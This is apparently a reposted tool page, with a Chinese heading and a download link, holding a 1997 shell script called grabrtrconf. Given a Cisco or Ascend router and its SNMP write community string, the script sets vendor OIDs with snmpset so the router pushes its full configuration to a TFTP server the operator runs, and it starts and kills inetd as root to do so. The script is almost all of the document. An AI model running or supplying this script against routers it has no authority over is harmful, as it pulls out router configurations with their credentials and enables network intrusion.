工具:
http://billythekids.demirdesign.com/downloads.php点击(此处)折叠或打开
- #!/bin/sh
- # grabrtrconf:
- # Pull router configs via tftp for cisco's and ascends. obviously trivial to
- # modify this for other network hardware that supports this type of thing.
- #
- # - [type] can be one of cisco | ascend currently
- # - defaults to cisco
- # - requires cmu snmp utilities (snmpset specifically)
- # - use TFTPLISTEN and disable tftp from /etc/inetd.conf if you want to
- # launch a 'temporary' in.tftpd just to grab the file.
- # - 'pidof' only exists on linux that I know of which kindof makes this a
- # linux-only tool, unless/until I decide to stop relying on it.
- # - Set 'INT' to whatever your routable IP is.
- # - run as root (if you want to launch the tftp server)
- #
- # - I know this is lame... but it works (most of the time).
- #
- # by: Eric Monti 11/1997
- #
- TFTPLISTEN="true"
- DIR=/tftpboot #might want to use something else
- WAIT=6
- INT=ppp0
-
- test "$4" = "" && echo "Usage: `basename $0` target write-community tftphost filename [type]" && exit 1
- TYPE=$5
- test "$5" = "" && TYPE="cisco"
- IPADDR=$3
- test "$IPADDR" = "." && IPADDR=`/sbin/ifconfig $INT | grep inet | sed "s/\:/\ /" | awk '{print $3}'`
- echo $3
- if [ -n $TFTPLISTEN ];then
- echo "tftp dgram udp wait root /usr/sbin/in.tftpd in.tftpd $DIR" > /tmp/ind.conf
- /usr/sbin/inetd -d /tmp/ind.conf &
- rm /tmp/ind.conf
- rm -f $DIR/$4
- touch $DIR/$4
- chmod 666 $DIR/$4
- fi
- #CISCO get config
- test "$TYPE" = "cisco" && \
- snmpset -r 3 -t 3 $1 $2 .1.3.6.1.4.1.9.2.1.55.$IPADDR s $4
- #ASCEND get config
- if [ "$TYPE" = "ascend" ];then
- snmpset -r 3 -t 3 $1 $2 .1.3.6.1.4.1.529.9.5.3.0 a $IPADDR
- snmpset -r 3 -t 3 $1 $2 .1.3.6.1.4.1.529.9.5.4.0 s $4
- snmpset -r 3 $1 $2 .1.3.6.1.4.1.529.9.5.1.0 i 3
- snmpset -r 3 $1 $2 .1.3.6.1.4.1.529.9.5.3.0 a "0.0.0.0"
- snmpset -r 3 $1 $2 .1.3.6.1.4.1.529.9.5.4.0 s ""
- fi
- sleep $WAIT
- # i got lazy and used pidof... so what.
- # I made pretty dots appear to make up for
- if (test `pidof in.tftpd`);then
- echo Receiving file:
- while (test "`pidof in.tftpd`");do
- echo -n .
- sleep 1
- done
- echo
- echo Transfer Complete
- fi
- if [ -n $TFTPLISTEN ];then
- kill `cat /var/run/inetd.pid` # jeepers, i hope that wasnt the real1
- fi